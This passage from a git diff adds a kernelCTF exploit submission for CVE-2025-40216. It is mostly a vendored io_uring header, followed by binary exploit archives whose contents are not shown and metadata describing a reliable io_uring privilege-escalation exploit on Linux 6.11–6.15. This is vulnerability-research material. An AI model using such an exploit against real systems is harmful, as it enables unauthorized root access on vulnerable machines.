IORING_SETUP_COOP_TASKRUN (1U << 8) +/* + * If COOP_TASKRUN is set, get notified if task work is available for + * running and a kernel transition would be needed to run it. This sets + * IORING_SQ_TASKRUN in the sq ring flags. Not valid with COOP_TASKRUN. + */ +#define IORING_SETUP_TASKRUN_FLAG (1U << 9) +#define IORING_SETUP_SQE128 (1U << 10) /* SQEs are 128 byte */ +#define IORING_SETUP_CQE32 (1U << 11) /* CQEs are 32 byte */ +/* + * Only one task is allowed to submit requests + */ +#define IORING_SETUP_SINGLE_ISSUER (1U << 12) + +/* + * Defer running task work to get events. + * Rather than running bits of task work whenever the task transitions + * try to do it just before it is needed. + */ +#define IORING_SETUP_DEFER_TASKRUN (1U << 13) + +/* + * Application provides the memory for the rings + */ +#define IORING_SETUP_NO_MMAP (1U << 14) + +/* + * Register the ring fd in itself for use with + * IORING_REGISTER_USE_REGISTERED_RING; return a registered fd index rather + * than an fd. + */ +#define IORING_SETUP_REGISTERED_FD_ONLY (1U << 15) + +/* + * Removes indirection through the SQ index array. + */ +#define IORING_SETUP_NO_SQARRAY (1U << 16) + +enum io_uring_op { + IORING_OP_NOP, + IORING_OP_READV, + IORING_OP_WRITEV, + IORING_OP_FSYNC, + IORING_OP_READ_FIXED, + IORING_OP_WRITE_FIXED, + IORING_OP_POLL_ADD, + IORING_OP_POLL_REMOVE, + IORING_OP_SYNC_FILE_RANGE, + IORING_OP_SENDMSG, + IORING_OP_RECVMSG, + IORING_OP_TIMEOUT, + IORING_OP_TIMEOUT_REMOVE, + IORING_OP_ACCEPT, + IORING_OP_ASYNC_CANCEL, + IORING_OP_LINK_TIMEOUT, + IORING_OP_CONNECT, + IORING_OP_FALLOCATE, + IORING_OP_OPENAT, + IORING_OP_CLOSE, + IORING_OP_FILES_UPDATE, + IORING_OP_STATX, + IORING_OP_READ, + IORING_OP_WRITE, + IORING_OP_FADVISE, + IORING_OP_MADVISE, + IORING_OP_SEND, + IORING_OP_RECV, + IORING_OP_OPENAT2, + IORING_OP_EPOLL_CTL, + IORING_OP_SPLICE, + IORING_OP_PROVIDE_BUFFERS, + IORING_OP_REMOVE_BUFFERS, + IORING_OP_TEE, + IORING_OP_SHUTDOWN, + IORING_OP_RENAMEAT, + IORING_OP_UNLINKAT, + IORING_OP_MKDIRAT, + IORING_OP_SYMLINKAT, + IORING_OP_LINKAT, + IORING_OP_MSG_RING, + IORING_OP_FSETXATTR, + IORING_OP_SETXATTR, + IORING_OP_FGETXATTR, + IORING_OP_GETXATTR, + IORING_OP_SOCKET, + IORING_OP_URING_CMD, + IORING_OP_SEND_ZC, + IORING_OP_SENDMSG_ZC, + IORING_OP_READ_MULTISHOT, + IORING_OP_WAITID, + IORING_OP_FUTEX_WAIT, + IORING_OP_FUTEX_WAKE, + IORING_OP_FUTEX_WAITV, + IORING_OP_FIXED_FD_INSTALL, + + /* this goes last, obviously */ + IORING_OP_LAST, +}; + +/* + * sqe->uring_cmd_flags top 8bits aren't available for userspace + * IORING_URING_CMD_FIXED use registered buffer; pass this flag + * along with setting sqe->buf_index. + */ +#define IORING_URING_CMD_FIXED (1U << 0) +#define IORING_URING_CMD_MASK IORING_URING_CMD_FIXED + + +/* + * sqe->fsync_flags + */ +#define IORING_FSYNC_DATASYNC (1U << 0) + +/* + * sqe->timeout_flags + */ +#define IORING_TIMEOUT_ABS (1U << 0) +#define IORING_TIMEOUT_UPDATE (1U << 1) +#define IORING_TIMEOUT_BOOTTIME (1U << 2) +#define IORING_TIMEOUT_REALTIME (1U << 3) +#define IORING_LINK_TIMEOUT_UPDATE (1U << 4) +#define IORING_TIMEOUT_ETIME_SUCCESS (1U << 5) +#define IORING_TIMEOUT_MULTISHOT (1U << 6) +#define IORING_TIMEOUT_CLOCK_MASK (IORING_TIMEOUT_BOOTTIME | IORING_TIMEOUT_REALTIME) +#define IORING_TIMEOUT_UPDATE_MASK (IORING_TIMEOUT_UPDATE | IORING_LINK_TIMEOUT_UPDATE) +/* + * sqe->splice_flags + * extends splice(2) flags + */ +#define SPLICE_F_FD_IN_FIXED (1U << 31) /* the last bit of __u32 */ + +/* + * POLL_ADD flags. Note that since sqe->poll_events is the flag space, the + * command flags for POLL_ADD are stored in sqe->len. + * + * IORING_POLL_ADD_MULTI Multishot poll. Sets IORING_CQE_F_MORE if + * the poll handler will continue to report + * CQEs on behalf of the same SQE. + * + * IORING_POLL_UPDATE Update existing poll request, matching + * sqe->addr as the old user_data field. + * + * IORING_POLL_LEVEL Level triggered poll. + */ +#define IORING_POLL_ADD_MULTI (1U << 0) +#define IORING_POLL_UPDATE_EVENTS (1U << 1) +#define IORING_POLL_UPDATE_USER_DATA (1U << 2) +#define IORING_POLL_ADD_LEVEL (1U << 3) + +/* + * ASYNC_CANCEL flags. + * + * IORING_ASYNC_CANCEL_ALL Cancel all requests that match the given key + * IORING_ASYNC_CANCEL_FD Key off 'fd' for cancelation rather than the + * request 'user_data' + * IORING_ASYNC_CANCEL_ANY Match any request + * IORING_ASYNC_CANCEL_FD_FIXED 'fd' passed in is a fixed descriptor + * IORING_ASYNC_CANCEL_USERDATA Match on user_data, default for no other key + * IORING_ASYNC_CANCEL_OP Match request based on opcode + */ +#define IORING_ASYNC_CANCEL_ALL (1U << 0) +#define IORING_ASYNC_CANCEL_FD (1U << 1) +#define IORING_ASYNC_CANCEL_ANY (1U << 2) +#define IORING_ASYNC_CANCEL_FD_FIXED (1U << 3) +#define IORING_ASYNC_CANCEL_USERDATA (1U << 4) +#define IORING_ASYNC_CANCEL_OP (1U << 5) + +/* + * send/sendmsg and recv/recvmsg flags (sqe->ioprio) + * + * IORING_RECVSEND_POLL_FIRST If set, instead of first attempting to send + * or receive and arm poll if that yields an + * -EAGAIN result, arm poll upfront and skip + * the initial transfer attempt. + * + * IORING_RECV_MULTISHOT Multishot recv. Sets IORING_CQE_F_MORE if + * the handler will continue to report + * CQEs on behalf of the same SQE. + * + * IORING_RECVSEND_FIXED_BUF Use registered buffers, the index is stored in + * the buf_index field. + * + * IORING_SEND_ZC_REPORT_USAGE + * If set, SEND[MSG]_ZC should report + * the zerocopy usage in cqe.res + * for the IORING_CQE_F_NOTIF cqe. + * 0 is reported if zerocopy was actually possible. + * IORING_NOTIF_USAGE_ZC_COPIED if data was copied + * (at least partially). + */ +#define IORING_RECVSEND_POLL_FIRST (1U << 0) +#define IORING_RECV_MULTISHOT (1U << 1) +#define IORING_RECVSEND_FIXED_BUF (1U << 2) +#define IORING_SEND_ZC_REPORT_USAGE (1U << 3) + +/* + * cqe.res for IORING_CQE_F_NOTIF if + * IORING_SEND_ZC_REPORT_USAGE was requested + * + * It should be treated as a flag, all other + * bits of cqe.res should be treated as reserved! + */ +#define IORING_NOTIF_USAGE_ZC_COPIED (1U << 31) + +/* + * accept flags stored in sqe->ioprio + */ +#define IORING_ACCEPT_MULTISHOT (1U << 0) + +/* + * IORING_OP_MSG_RING command types, stored in sqe->addr + */ +enum { + IORING_MSG_DATA, /* pass sqe->len as 'res' and off as user_data */ + IORING_MSG_SEND_FD, /* send a registered fd to another ring */ +}; + +/* + * IORING_OP_MSG_RING flags (sqe->msg_ring_flags) + * + * IORING_MSG_RING_CQE_SKIP Don't post a CQE to the target ring. Not + * applicable for IORING_MSG_DATA, obviously. + */ +#define IORING_MSG_RING_CQE_SKIP (1U << 0) +/* Pass through the flags from sqe->file_index to cqe->flags */ +#define IORING_MSG_RING_FLAGS_PASS (1U << 1) + +/* + * IORING_OP_FIXED_FD_INSTALL flags (sqe->install_fd_flags) + * + * IORING_FIXED_FD_NO_CLOEXEC Don't mark the fd as O_CLOEXEC + */ +#define IORING_FIXED_FD_NO_CLOEXEC (1U << 0) + +/* + * IO completion data structure (Completion Queue Entry) + */ +struct io_uring_cqe { + __u64 user_data; /* sqe->data submission passed back */ + __s32 res; /* result code for this event */ + __u32 flags; + + /* + * If the ring is initialized with IORING_SETUP_CQE32, then this field + * contains 16-bytes of padding, doubling the size of the CQE. + */ + __u64 big_cqe[]; +}; + +/* + * cqe->flags + * + * IORING_CQE_F_BUFFER If set, the upper 16 bits are the buffer ID + * IORING_CQE_F_MORE If set, parent SQE will generate more CQE entries + * IORING_CQE_F_SOCK_NONEMPTY If set, more data to read after socket recv + * IORING_CQE_F_NOTIF Set for notification CQEs. Can be used to distinct + * them from sends. + */ +#define IORING_CQE_F_BUFFER (1U << 0) +#define IORING_CQE_F_MORE (1U << 1) +#define IORING_CQE_F_SOCK_NONEMPTY (1U << 2) +#define IORING_CQE_F_NOTIF (1U << 3) + +enum { + IORING_CQE_BUFFER_SHIFT = 16, +}; + +/* + * Magic offsets for the application to mmap the data it needs + */ +#define IORING_OFF_SQ_RING 0ULL +#define IORING_OFF_CQ_RING 0x8000000ULL +#define IORING_OFF_SQES 0x10000000ULL +#define IORING_OFF_PBUF_RING 0x80000000ULL +#define IORING_OFF_PBUF_SHIFT 16 +#define IORING_OFF_MMAP_MASK 0xf8000000ULL + +/* + * Filled with the offset for mmap(2) + */ +struct io_sqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 flags; + __u32 dropped; + __u32 array; + __u32 resv1; + __u64 user_addr; +}; + +/* + * sq_ring->flags + */ +#define IORING_SQ_NEED_WAKEUP (1U << 0) /* needs io_uring_enter wakeup */ +#define IORING_SQ_CQ_OVERFLOW (1U << 1) /* CQ ring is overflown */ +#define IORING_SQ_TASKRUN (1U << 2) /* task should enter the kernel */ + +struct io_cqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 overflow; + __u32 cqes; + __u32 flags; + __u32 resv1; + __u64 user_addr; +}; + +/* + * cq_ring->flags + */ + +/* disable eventfd notifications */ +#define IORING_CQ_EVENTFD_DISABLED (1U << 0) + +/* + * io_uring_enter(2) flags + */ +#define IORING_ENTER_GETEVENTS (1U << 0) +#define IORING_ENTER_SQ_WAKEUP (1U << 1) +#define IORING_ENTER_SQ_WAIT (1U << 2) +#define IORING_ENTER_EXT_ARG (1U << 3) +#define IORING_ENTER_REGISTERED_RING (1U << 4) + +/* + * Passed in for io_uring_setup(2). Copied back with updated info on success + */ +struct io_uring_params { + __u32 sq_entries; + __u32 cq_entries; + __u32 flags; + __u32 sq_thread_cpu; + __u32 sq_thread_idle; + __u32 features; + __u32 wq_fd; + __u32 resv[3]; + struct io_sqring_offsets sq_off; + struct io_cqring_offsets cq_off; +}; + +/* + * io_uring_params->features flags + */ +#define IORING_FEAT_SINGLE_MMAP (1U << 0) +#define IORING_FEAT_NODROP (1U << 1) +#define IORING_FEAT_SUBMIT_STABLE (1U << 2) +#define IORING_FEAT_RW_CUR_POS (1U << 3) +#define IORING_FEAT_CUR_PERSONALITY (1U << 4) +#define IORING_FEAT_FAST_POLL (1U << 5) +#define IORING_FEAT_POLL_32BITS (1U << 6) +#define IORING_FEAT_SQPOLL_NONFIXED (1U << 7) +#define IORING_FEAT_EXT_ARG (1U << 8) +#define IORING_FEAT_NATIVE_WORKERS (1U << 9) +#define IORING_FEAT_RSRC_TAGS (1U << 10) +#define IORING_FEAT_CQE_SKIP (1U << 11) +#define IORING_FEAT_LINKED_FILE (1U << 12) +#define IORING_FEAT_REG_REG_RING (1U << 13) + +/* + * io_uring_register(2) opcodes and arguments + */ +enum { + IORING_REGISTER_BUFFERS = 0, + IORING_UNREGISTER_BUFFERS = 1, + IORING_REGISTER_FILES = 2, + IORING_UNREGISTER_FILES = 3, + IORING_REGISTER_EVENTFD = 4, + IORING_UNREGISTER_EVENTFD = 5, + IORING_REGISTER_FILES_UPDATE = 6, + IORING_REGISTER_EVENTFD_ASYNC = 7, + IORING_REGISTER_PROBE = 8, + IORING_REGISTER_PERSONALITY = 9, + IORING_UNREGISTER_PERSONALITY = 10, + IORING_REGISTER_RESTRICTIONS = 11, + IORING_REGISTER_ENABLE_RINGS = 12, + + /* extended with tagging */ + IORING_REGISTER_FILES2 = 13, + IORING_REGISTER_FILES_UPDATE2 = 14, + IORING_REGISTER_BUFFERS2 = 15, + IORING_REGISTER_BUFFERS_UPDATE = 16, + + /* set/clear io-wq thread affinities */ + IORING_REGISTER_IOWQ_AFF = 17, + IORING_UNREGISTER_IOWQ_AFF = 18, + + /* set/get max number of io-wq workers */ + IORING_REGISTER_IOWQ_MAX_WORKERS = 19, + + /* register/unregister io_uring fd with the ring */ + IORING_REGISTER_RING_FDS = 20, + IORING_UNREGISTER_RING_FDS = 21, + + /* register ring based provide buffer group */ + IORING_REGISTER_PBUF_RING = 22, + IORING_UNREGISTER_PBUF_RING = 23, + + /* sync cancelation API */ + IORING_REGISTER_SYNC_CANCEL = 24, + + /* register a range of fixed file slots for automatic slot allocation */ + IORING_REGISTER_FILE_ALLOC_RANGE = 25, + + /* return status information for a buffer group */ + IORING_REGISTER_PBUF_STATUS = 26, + + /* this goes last */ + IORING_REGISTER_LAST, + + /* flag added to the opcode to use a registered ring fd */ + IORING_REGISTER_USE_REGISTERED_RING = 1U << 31 +}; + +/* io-wq worker categories */ +enum { + IO_WQ_BOUND, + IO_WQ_UNBOUND, +}; + +/* deprecated, see struct io_uring_rsrc_update */ +struct io_uring_files_update { + __u32 offset; + __u32 resv; + __aligned_u64 /* __s32 * */ fds; +}; + +/* + * Register a fully sparse file space, rather than pass in an array of all + * -1 file descriptors. + */ +#define IORING_RSRC_REGISTER_SPARSE (1U << 0) + +struct io_uring_rsrc_register { + __u32 nr; + __u32 flags; + __u64 resv2; + __aligned_u64 data; + __aligned_u64 tags; +}; + +struct io_uring_rsrc_update { + __u32 offset; + __u32 resv; + __aligned_u64 data; +}; + +struct io_uring_rsrc_update2 { + __u32 offset; + __u32 resv; + __aligned_u64 data; + __aligned_u64 tags; + __u32 nr; + __u32 resv2; +}; + +/* Skip updating fd indexes set to this value in the fd table */ +#define IORING_REGISTER_FILES_SKIP (-2) + +#define IO_URING_OP_SUPPORTED (1U << 0) + +struct io_uring_probe_op { + __u8 op; + __u8 resv; + __u16 flags; /* IO_URING_OP_* flags */ + __u32 resv2; +}; + +struct io_uring_probe { + __u8 last_op; /* last opcode supported */ + __u8 ops_len; /* length of ops[] array below */ + __u16 resv; + __u32 resv2[3]; + struct io_uring_probe_op ops[]; +}; + +struct io_uring_restriction { + __u16 opcode; + union { + __u8 register_op; /* IORING_RESTRICTION_REGISTER_OP */ + __u8 sqe_op; /* IORING_RESTRICTION_SQE_OP */ + __u8 sqe_flags; /* IORING_RESTRICTION_SQE_FLAGS_* */ + }; + __u8 resv; + __u32 resv2[3]; +}; + +struct io_uring_buf { + __u64 addr; + __u32 len; + __u16 bid; + __u16 resv; +}; + +struct io_uring_buf_ring { + union { + /* + * To avoid spilling into more pages than we need to, the + * ring tail is overlaid with the io_uring_buf->resv field. + */ + struct { + __u64 resv1; + __u32 resv2; + __u16 resv3; + __u16 tail; + }; + __DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs); + }; +}; + +/* + * Flags for IORING_REGISTER_PBUF_RING. + * + * IOU_PBUF_RING_MMAP: If set, kernel will allocate the memory for the ring. + * The application must not set a ring_addr in struct + * io_uring_buf_reg, instead it must subsequently call + * mmap(2) with the offset set as: + * IORING_OFF_PBUF_RING | (bgid << IORING_OFF_PBUF_SHIFT) + * to get a virtual mapping for the ring. + */ +enum { + IOU_PBUF_RING_MMAP = 1, +}; + +/* argument for IORING_(UN)REGISTER_PBUF_RING */ +struct io_uring_buf_reg { + __u64 ring_addr; + __u32 ring_entries; + __u16 bgid; + __u16 flags; + __u64 resv[3]; +}; + +/* argument for IORING_REGISTER_PBUF_STATUS */ +struct io_uring_buf_status { + __u32 buf_group; /* input */ + __u32 head; /* output */ + __u32 resv[8]; +}; + +/* + * io_uring_restriction->opcode values + */ +enum { + /* Allow an io_uring_register(2) opcode */ + IORING_RESTRICTION_REGISTER_OP = 0, + + /* Allow an sqe opcode */ + IORING_RESTRICTION_SQE_OP = 1, + + /* Allow sqe flags */ + IORING_RESTRICTION_SQE_FLAGS_ALLOWED = 2, + + /* Require sqe flags (these flags must be set on each submission) */ + IORING_RESTRICTION_SQE_FLAGS_REQUIRED = 3, + + IORING_RESTRICTION_LAST +}; + +struct io_uring_getevents_arg { + __u64 sigmask; + __u32 sigmask_sz; + __u32 pad; + __u64 ts; +}; + +/* + * Argument for IORING_REGISTER_SYNC_CANCEL + */ +struct io_uring_sync_cancel_reg { + __u64 addr; + __s32 fd; + __u32 flags; + struct __kernel_timespec timeout; + __u8 opcode; + __u8 pad[7]; + __u64 pad2[3]; +}; + +/* + * Argument for IORING_REGISTER_FILE_ALLOC_RANGE + * The range is specified as [off, off + len) + */ +struct io_uring_file_index_range { + __u32 off; + __u32 len; + __u64 resv; +}; + +struct io_uring_recvmsg_out { + __u32 namelen; + __u32 controllen; + __u32 payloadlen; + __u32 flags; +}; + +/* + * Argument for IORING_OP_URING_CMD when file is a socket + */ +enum { + SOCKET_URING_OP_SIOCINQ = 0, + SOCKET_URING_OP_SIOCOUTQ, + SOCKET_URING_OP_GETSOCKOPT, + SOCKET_URING_OP_SETSOCKOPT, +}; + +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/target_db.kxdb b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/target_db.kxdb new file mode 100644 index 000000000..5d61e53b9 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/target_db.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/metadata.json new file mode 100644 index 000000000..aecbc6d06 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/metadata.json @@ -0,0 +1,23 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp437"], + "vulnerability": { + "cve": "CVE-2025-40216", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3a3c6d61577dbb23c09df3e21f6f9eda1ecd634b", + "affected_versions": ["6.11 - 6.15"], + "requirements": { + "attack_surface": ["io_uring"], + "capabilities": [], + "kernel_config": ["CONFIG_IO_URING"] + } + }, + "exploits": { + "mitigation-v4-6.12": { + "environment": "mitigation-v4-6.12", + "uses": ["io_uring"], + "requires_separate_kaslr_leak": false, + "stability_notes": "99% success rate" + } + + } +} diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/original_exp.tar.gz b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/original_exp.tar.gz new file mode 100755 index 000000000..f65cfa626 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/original_exp.tar.gz differ